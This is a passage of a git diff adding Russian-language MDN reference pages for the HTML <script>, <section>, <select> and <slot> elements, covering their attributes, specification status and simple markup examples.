+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("rt")}}</li>
+ <li>{{HTMLElement("rp")}}</li>
+ <li>{{HTMLElement("rb")}}</li>
+ <li>
+  <p>{{HTMLElement("rtc")}}</p>
+ </li>
+</ul>
+
+<p>{{ HTMLRef }}</p>
diff --git a/files/ru/web/html/element/script/index.html b/files/ru/web/html/element/script/index.html
new file mode 100644
index 0000000000..5f03eb7943
--- /dev/null
+++ b/files/ru/web/html/element/script/index.html
@@ -0,0 +1,225 @@
+---
+title: '<script>: The Script element'
+slug: Web/HTML/Element/script
+tags:
+  - Script
+translation_of: Web/HTML/Element/script
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">HTML Элемент<strong> <code>&lt;script&gt;</code> </strong></span> используется для встраивания или подключения исполняемого JavaScript кода. Элемент <code>&lt;script&gt;</code> также может использоваться с другими языками, такими как <a href="/en-US/docs/Web/API/WebGL_API/By_example/Hello_GLSL">GLSL</a> от <a href="/ru/docs/Web/API/WebGL_API">WebGL</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/Guide/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Метаданные">Метаданные</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Main_content_categories">Потоковый контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый контент</th>
+   <td>Динамический скрипт, используя атрибут <code>text/javascript</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>Нет. Открывающий и закрывающий теги обязательны</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родительские элементы</th>
+   <td>
+    <p>Любые элементы в которых разрешены <a href="/ru/docs/Web/Guide/HTML/Content_categories#Метаданные">метаданные</a> или <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">фразовый контент</a></p>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенная ARIA роль</th>
+   <td>Отсутствует</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLScriptElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("async")}}{{HTMLVersionInline(5)}}</dt>
+ <dd>Это логический атрибут, указывающий браузеру, если возможно, загружать скрипт, указанный в атрибуте <code>{{htmlattrdef("src")}}</code>, асинхронно.</dd>
+</dl>
+
+<div class="warning">
+<p>Атрибут <code>{{htmlattrdef("async")}}</code> не будет оказывать никакого эффекта, если атрибут <code>{{htmlattrdef("src")}}</code> отсутствует.</p>
+</div>
+
+<dl>
+ <dd>
+ <p>Обычно браузеры загружают <code>&lt;script&gt;</code> синхронно, (т.е. <code>async="false"</code>) во время разбора документа.</p>
+ </dd>
+ <dd>
+ <p>Динамически вставленный <code>&lt;script&gt;</code> (используя, например, <code>document.createElement</code>) по умолчанию загружаются браузером асинхронно, поэтому для включения синхронной загрузки (т.е. когда скрипты загружаются в порядке их вставки) укажите <code>async="false"</code>.</p>
+ </dd>
+ <dt>{{htmlattrdef("crossorigin")}}</dt>
+ <dd>Обычные элементы тега <code>script</code> передают мало информации в {{domxref('GlobalEventHandlers.onerror', 'window.onerror')}} для скриптов, которые не проходят проверку <a href="/en-US/docs/HTTP_access_control">CORS</a>. Чтобы разрешить ведение журнала ошибок сайта, которые используют отдельный домен для статических файлов (например, изображение, видео-файл, CSS-стили или Javascript-код), используйте атрибут <code>{{htmlattrdef("crossorigin")}}</code>. Посмотрите статью «<a href="/ru/docs/Web/HTML/CORS_settings_attributes">настройки атрибутов CORS</a>» для более наглядного объяснения его допустимых аргументов.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("defer")}}</dt>
+ <dd>Это логический атрибут, указывающий браузеру, что скрипт должен выполняться после разбора документа, но до события {{event("DOMContentLoaded")}}.</dd>
+ <dd>Скрипты с атрибутом <code>{{htmlattrdef("defer")}}</code> будут предотвращать запуск события {{event("DOMContentLoaded")}} до тех пор, пока скрипт не загрузится полностью и не завершится его инициализация.</dd>
+</dl>
+
+<div class="warning">
+<p>Атрибут <code>{{htmlattrdef("defer")}}</code> не будет оказывать никакого эффекта, если атрибут <code>{{htmlattrdef("src")}}</code> отсутствует.</p>
+</div>
+
+<dl>
+ <dd>Чтобы достигнуть такого же эффекта для динамически вставленных скриптов используйте <code>async=false.</code></dd>
+ <dd>Cкрипты с атрибутом <code>{{htmlattrdef("defer")}}</code> будут выполняться в том порядке, в котором они появились при разборе документа.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("integrity")}}</dt>
+ <dd>This attribute contains inline metadata that a user agent can use to verify that a fetched resource has been delivered free of unexpected manipulation. See <a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a>.</dd>
+ <dt>{{htmlattrdef("nomodule")}}</dt>
+ <dd>This Boolean attribute is set to indicate that the script should not be executed in browsers that support<a href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/"> ES2015 modules</a> — in effect, this can be used to serve fallback scripts to older browsers that do not support modular JavaScript code.</dd>
+</dl>
+
+<dl>
+ <dt>{{htmlattrdef("nonce")}}</dt>
+ <dd>A cryptographic nonce (number used once) to whitelist inline scripts in a <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src">script-src Content-Security-Policy</a>. The server must generate a unique nonce value each time it transmits a policy. It is critical to provide a nonce that cannot be guessed as bypassing a resource's policy is otherwise trivial.</dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>This attribute specifies the <abbr>URI</abbr> of an external script; this can be used as an alternative to embedding a script directly within a document.</dd>
+</dl>
+
+<div class="warning">
+<p>Если у элемента <code>script</code> будет указан атрибут <code>{{htmlattrdef("src")}}</code>, то он не должен иметь встроенный скрипт между тегами.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("text")}}</dt>
+ <dd>Like the <code>textContent</code> attribute, this attribute sets the text content of the element. Unlike the <code>textContent</code> attribute, however, this attribute is evaluated as executable code after the node is inserted into the DOM.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>
+ <p>Этот атрибут указывает тип представленного скрипта. Значение этого атрибута будет находиться в одной из следующих категорий:</p>
+
+ <ul>
+  <li><strong>Omitted or a JavaScript MIME type:</strong> For HTML5-compliant browsers this indicates the script is JavaScript. HTML5 specification urges authors to omit the attribute rather than provide a redundant MIME type. In earlier browsers, this identified the scripting language of the embedded or imported (via the <code>src</code> attribute) code. JavaScript MIME types are <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#JavaScript_types">listed in the specification</a>.</li>
+  <li><strong><code>module</code>:</strong> For HTML5-compliant browsers the code is treated as a JavaScript module. The processing of the script contents is not affected by the <code>charset</code> and <code>{{htmlattrdef("defer")}}</code> attributes. For information on using <code>module</code>, see <a class="external external-icon" href="https://hacks.mozilla.org/2015/08/es6-in-depth-modules/">ES6 in Depth: Modules</a>. Code may behave differently when the <code>module</code> keyword is used.</li>
+  <li><strong>Any other value:</strong> The embedded content is treated as a data block which won't be processed by the browser. Developers must use a valid MIME type that is not a JavaScript MIME type to denote data blocks. The <code>src</code> attribute will be ignored.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Note: </strong>in Firefox you could specify the version of JavaScript contained in a <code>&lt;script&gt;</code> element by including a non-standard <code>version</code> parameter inside the <code>type</code> attribute — for example <code>type="text/javascript;version=1.8"</code>. This has been removed in Firefox 59 (see {{bug(1428745)}}).</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Устаревшие_атрибуты">Устаревшие атрибуты</h3>
+
+<dl>
+ <dt>{{htmlattrdef("charset")}} {{Deprecated_inline}}</dt>
+ <dd>If present, its value must be an ASCII case-insensitive match for "<code>utf-8</code>". Both it’s unnecessary to specify the <code>charset</code> attribute, because documents must use UTF-8, and the <code>script</code> element inherits its character encoding from the document.</dd>
+ <dt>{{htmlattrdef("language")}} {{Deprecated_inline}}</dt>
+ <dd>Like the <code>type</code> attribute, this attribute identifies the scripting language in use. Unlike the <code>type</code> attribute, however, this attribute’s possible values were never standardized. The <code>type</code> attribute should be used instead.</dd>
+</dl>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Элемент <code>&lt;script&gt;</code> без указания атрибутов {{HTMLAttrxRef("async", "script")}} , {{HTMLAttrxRef("defer", "script")}} или <code>type="module"</code>, а также встроенный скрипт, загружается и выполняется сразу, до того как браузер продолжит разбор документа.</p>
+
+<p>Для обработки скрипт должен иметь тип данных <code>text/javascript</code>, но браузеры снисходительны и блокируют обработку только в том случае, если скрипт представляет данные одного из типов: изображение (<code>image/*</code>); видео (<code>video/*</code>); аудио (<code>audio/*</code>); или <code>text/csv</code>. Если скрипт заблокирован, элементу отправляется событие {{event("error")}}, если не было отправлено событие {{event("load")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Основное_использование">Основное использование</h3>
+
+<p>Эти примеры показывают как импортировать скрипт используя элемент <code>&lt;script&gt;</code> в HTML4 и HTML5.</p>
+
+<pre class="brush: html">&lt;!-- HTML4 --&gt;
+&lt;script type="text/javascript" src="javascript.js"&gt;&lt;/script&gt;
+
+&lt;!-- HTML5 --&gt;
+&lt;script src="javascript.js"&gt;&lt;/script&gt;
+</pre>
+
+<h3 id="Module_fallback">Module fallback</h3>
+
+<p>Браузеры, поддерживающие использование значения <code>module</code> для атрибута <code>type</code>, игнорируют любые скрипты с атрибутом <code>nomodule</code>. Это разрешает использовать модульные скрипты, и в тот же самый момент позволяет использовать <code>nomodule-</code>скрипты для браузеров без поддержки модульных скриптов.</p>
+
+<pre class="brush: html">&lt;script type="module" src="main.mjs"&gt;&lt;/script&gt;
+&lt;script nomodule src="fallback.js"&gt;&lt;/script&gt;</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Удалён атрибут {{HTMLAttrxRef("charset", "script")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.3", "semantics-scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML5.3")}}</td>
+   <td>Удалён атрибут {{HTMLAttrxRef("charset", "script")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.2", "semantics-scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML5.2")}}</td>
+   <td>Добавлен <code>module</code> {{HTMLAttrxRef("type", "script")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "semantics-scripting.html#the-script-element", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "scripting-1.html#script", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML5 W3C")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML4.01", "interact/scripts.html#h-18.2.1", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("HTML4.01")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Subresource Integrity", "#htmlscriptelement", "&lt;script&gt;")}}</td>
+   <td>{{Spec2("Subresource Integrity")}}</td>
+   <td>Добавлен атрибут {{HTMLAttrxRef("integrity", "script")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+
+
+<p>{{Compat("html.elements.script", 2)}}</p>
+
+<h3 id="Примечания_по_совместимости">Примечания по совместимости</h3>
+
+<p>In older browsers that don't support the <code>async</code> attribute, parser-inserted scripts block the parser; script-inserted scripts execute asynchronously in IE and WebKit, but synchronously in Opera and pre-4 Firefox. In Firefox 4, the <code>async</code> DOM property defaults to <code>true</code> for script-created scripts, so the default behaviour matches the behaviour of IE and WebKit.</p>
+
+<p>To request script-inserted external scripts be executed in the insertion order in browsers where the <code>document.createElement("script").async</code> evaluates to <code>true</code> (such as Firefox 4), set <code>async=false</code> on the scripts you want to maintain order.</p>
+
+<div class="warning">
+<p>Never call <code>document.write()</code> from an async script. In Firefox 3.6, calling <code>document.write()</code> has an unpredictable effect. In Firefox 4, calling <code>document.write()</code> from an async script has no effect (other than printing a warning to the error console).</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("document.currentScript")}}</li>
+ <li><a href="https://pie.gd/test/script-link-events/">Ryan Grove's &lt;script&gt; and &lt;link&gt; node event compatibility chart</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/Async_scripts">Асинхронные скрипты для asm.js</a></li>
+</ul>
diff --git a/files/ru/web/html/element/section/index.html b/files/ru/web/html/element/section/index.html
new file mode 100644
index 0000000000..b34e9d1099
--- /dev/null
+++ b/files/ru/web/html/element/section/index.html
@@ -0,0 +1,146 @@
+---
+title: <section>
+slug: Web/HTML/Element/section
+tags:
+  - Element
+  - HTML
+  - Web
+  - Веб
+  - Разделы
+  - Разделы HTML
+  - Справка
+  - Элемент
+translation_of: Web/HTML/Element/section
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;section&gt;</code></strong> представляет собой автономный раздел — который не может быть представлен более точным по семантике элементом — внутри HTML-документа.</span> Как правило, но не всегда, разделы имеют заголовок.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/section.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>Например, меню навигации должно быть помещено в элемент {{htmlelement("nav")}}, но список результатов поиска и отображение карты с ее элементами управления не имеют специфических элементов и могут быть помещены в <code>&lt;section&gt;</code>.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Если содержимое элемента имеет смысл объединить как единое целое (в цельный и независимый блок), то элемент {{HTMLElement("article")}} может стать лучшим выбором.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Категории контента</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Секционный_контент">секционный контент</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Явный_контент">явный контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенное содержимое</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>Ни одного; Оба тега, открывающий и закрывающий, являются обязательными.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">контент основного потока</a> в качестве содержимого. Обратите внимание, что элемент <code>&lt;section&gt;</code> не должен быть потомком элемента {{HTMLElement("address")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>{{ARIARole("alert")}}, {{ARIARole("alertdialog")}}, {{ARIARole("application")}}, {{ARIARole("banner")}}, {{ARIARole("complementary")}}, {{ARIARole("contentinfo")}}, {{ARIARole("dialog")}}, {{ARIARole("document")}}, {{ARIARole("feed")}}, {{ARIARole("log")}}, {{ARIARole("main")}}, {{ARIARole("marquee")}}, {{ARIARole("navigation")}}, {{ARIARole("search")}}, {{ARIARole("status")}}, {{ARIARole("tabpanel")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<h2 id="Примечание">Примечание</h2>
+
+<ul>
+ <li>Каждый элемент <code>&lt;section&gt;</code> должен быть идентифицирован, обычно путем добавления заголовка (элементы {{HTMLElement('h1')}}-{{HTMLElement('h6')}}) в качестве дочернего элемента.</li>
+ <li>Если имеет смысл по-особому объединить содержимое элемента <code>&lt;section&gt;</code> (например, сделать цельным и независимым разделом HTML-документа), используйте вместо него элемент {{HTMLElement("article")}}.</li>
+ <li>Не используйте элемент <code>&lt;section&gt;</code> как общий контейнер; для этого есть {{HTMLElement("div")}}, особенно когда секционирование применяется только для стилизации. На практике раздел должен логически выделяться в структуре документа.</li>
+</ul>
+
+<h2 id="Пример_1">Пример 1</h2>
+
+<h3 id="До">До</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;h1&gt;Заголовок&lt;/h1&gt;
+  &lt;p&gt;Много замечательного контента&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="После">После</h3>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h1&gt;Заголовок&lt;/h1&gt;
+  &lt;p&gt;Много замечательного контента&lt;/p&gt;
+&lt;/section&gt;
+</pre>
+
+<h2 id="Пример_2">Пример 2</h2>
+
+<h3 id="До_2">До</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;h2&gt;Заголовок&lt;/h2&gt;
+  &lt;img src="bird.jpg" alt="птица"&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="После_2">После</h3>
+
+<pre class="brush: html">&lt;section&gt;
+  &lt;h2&gt;Заголовок&lt;/h2&gt;
+  &lt;img src="bird.jpg" alt="птица"&gt;
+&lt;/section&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-section-element', '&lt;section&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.section")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Связанные с этим разделом элементы: {{HTMLElement("body")}}, {{HTMLElement("nav")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li><a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">Разделы и структура документа HTML5.</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Region_role">ARIA: роль region</a></li>
+</ul>
diff --git a/files/ru/web/html/element/select/index.html b/files/ru/web/html/element/select/index.html
new file mode 100644
index 0000000000..77c08dac62
--- /dev/null
+++ b/files/ru/web/html/element/select/index.html
@@ -0,0 +1,120 @@
+---
+title: <select>
+slug: Web/HTML/Element/select
+translation_of: Web/HTML/Element/select
+---
+<p><span class="seoSummary"><strong>HTML тэг <code>&lt;select&gt;</code></strong> представляет собой элемент управления который содержит меню опций:</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Категории содержимого</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_поток">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">текстовый контент</a>, <a href="/en-US/docs/HTML/Content_categories#Interactive_content">интерактивный контент</a>, <a href="/en-US/docs/HTML/Content_categories#Form_listed">списочный</a>, <a href="/en-US/docs/HTML/Content_categories#Form_labelable">labelable</a>, <a href="/en-US/docs/HTML/Content_categories#Form_resettable">сбрасываемый</a>, и <a href="/en-US/docs/HTML/Content_categories#Form_submittable">submittable</a> <a href="/en-US/docs/HTML/Content_categories#Form-associated_">form-associated </a>element</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимое содержимое</th>
+   <td>Ноль или более {{HTMLElement("option")}} или {{HTMLElement("optgroup")}} элементы.</td>
+  </tr>
+  <tr>
+   <th scope="row">Опускание тегов</th>
+   <td>Открывающий и закрывающий теги обязательны.</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимие родительские элементы</th>
+   <td>Любые элементы в которых разрешено текстовое содержимое</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенная ARIA роль</th>
+   <td>{{ARIARole("menu")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLSelectElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Элемент включает <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Этот атрибут указывает что при загрузке страницы данный элемент формы должен иметь фокус ввода, пока пользователь не переопределит это, к примеру печатая в разных элементах управления. Только один элемент формы может иметь атрибут <code>autofocus</code>, элемент является логическим (булевым).</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>Этот логический атрибут указывает что пользователь не может взаимодействовать с элементом управления. Если атрибут не указан, элемент управления наследует настройки от содержащего его элемента, к примеру <code>fieldset</code>; если у родительского элемента не указан атрибут <code>disabled</code>, то элемент управления доступен для взаимодействия.</dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Этот атрибут указывает к какой конкретно форме относится элемент &lt;select&gt; . Если атрибут указан, его значением должно быть ID формы в том же документе. Это позволяет размещать элементы &lt;select&gt; где угодно в документе, а не только как потомки форм.</dd>
+ <dt>{{htmlattrdef("multiple")}}</dt>
+ <dd>Этот логический атрибут указывает что возможен выбор нескольких опций в списке. Если данный атрибут не указан, то только одна опция может быть выбрана.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Этот атрибут используется для указания имени элемента управления.</dd>
+ <dt>{{htmlattrdef("required")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>Этот логический атрибут указывает что обязательно должна быть выбрана опция и которая содержит не пустую строку.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>Если элемент управления представлен как прокручаваемый список, этот атрибут указывает количество строк в списке, которые должны быть видны за раз. Браузеру не требуется представлять &lt;select&gt; в  виде прокручеваемого списка. Значение по умолчанию 0.</dd>
+</dl>
+
+<div class="note"><strong>Примечания Firefox:</strong> Согласно спецификации HTML5, значение размера по умолчанию должно быть 1; однако на практике, оказывается что это портит некоторые веб сайты, и ни один браузер не придерживается этого на данный момент, поэтому Mozilla предпочла также указать 0 пока что в Firefox.</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;!-- Начально будет выбрано второе значение --&gt;
+&lt;select name="select"&gt; &lt;!--Supplement an id here instead of using 'name'--&gt;
+  &lt;option value="value1"&gt;Значение 1&lt;/option&gt;
+  &lt;option value="value2" selected&gt;Значение 2&lt;/option&gt;
+  &lt;option value="value3"&gt;Значение 3&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p><select name="select"><option value="value1">Value 1</option><option selected value="value2">Value 2</option><option value="value3">Value 3</option></select></p>
+
+<h3 id="Примечания">Примечания</h3>
+
+<p>Контент этого элемента статичен и не <a href="/en-US/docs/HTML/Content_Editable">редактируемый</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-select-element', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-select-element', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.6', '&lt;select&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице сгенерирована из структурированных данных. Если Вы хотите внести свой вклад, пожалуйста проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам пул запросов.</div>
+
+<p>{{Compat("html.elements.select")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Другие элементы форм: {{HTMLElement("form")}}, {{HTMLElement("legend")}}, {{HTMLElement("label")}}, {{HTMLElement("button")}}, {{HTMLElement("option")}}, {{HTMLElement("datalist")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("textarea")}}, {{HTMLElement("keygen")}}, {{HTMLElement("input")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}} and {{HTMLElement("meter")}}.</li>
+ <li>События запускаемые <code>&lt;select&gt;</code>: <a href="/en-US/docs/Web/Events/change">change.</a></li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ru/web/html/element/slot/index.html b/files/ru/web/html/element/slot/index.html
new file mode 100644
index 0000000000..10e39b72a4
--- /dev/null
+++ b/files/ru/web/html/element/slot/index.html
@@ -0,0 +1,115 @@
+---
+title: <slot>
+slug: Web/HTML/Element/slot
+translation_of: Web/HTML/Element/slot
+---
+<p>{{HTMLRef}}</p>
+
+<p><span class="seoSummary">HTML элемент <code>&lt;slot&gt;</code> является частью набора технологии <a href="/en-US/docs/Web/Web_Components">Web Components</a>, является заполнителем внутри веб компонента, который можно заполнить собственной разметкой, которая позволяет создавать отдельные деревья DOM и представлять их вместе.</span></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Поток контента</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">содержание формулировки</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content_model">Прозрачный</a></td>
+  </tr>
+  <tr>
+   <th scope="row">События</th>
+   <td>{{event("slotchange")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тега</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный родители</th>
+   <td>Любой элемент, который принимает<a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content"> содержание формулировки</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Никакой</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс DOM</th>
+   <td>{{domxref("HTMLSlotElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Название слота.</dd>
+ <dd><dfn><strong>Именованый слот</strong></dfn> это элемент <code>&lt;slot&gt;</code> с атрибутом<code> name</code>.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;template id="element-details-template"&gt;
+  &lt;style&gt;
+    details {font-family: "Open Sans Light", Helvetica, Arial, sans-serif }
+    .name {font-weight: bold; color: #217ac0; font-size: 120% }
+    h4 {
+      margin: 10px 0 -8px 0;
+      background: #217ac0;
+      color: white;
+      padding: 2px 6px;
+      border: 1px solid #cee9f9;
+      border-radius: 4px;
+    }
+    .attributes { margin-left: 22px; font-size: 90% }
+    .attributes p { margin-left: 16px; font-style: italic }
+  &lt;/style&gt;
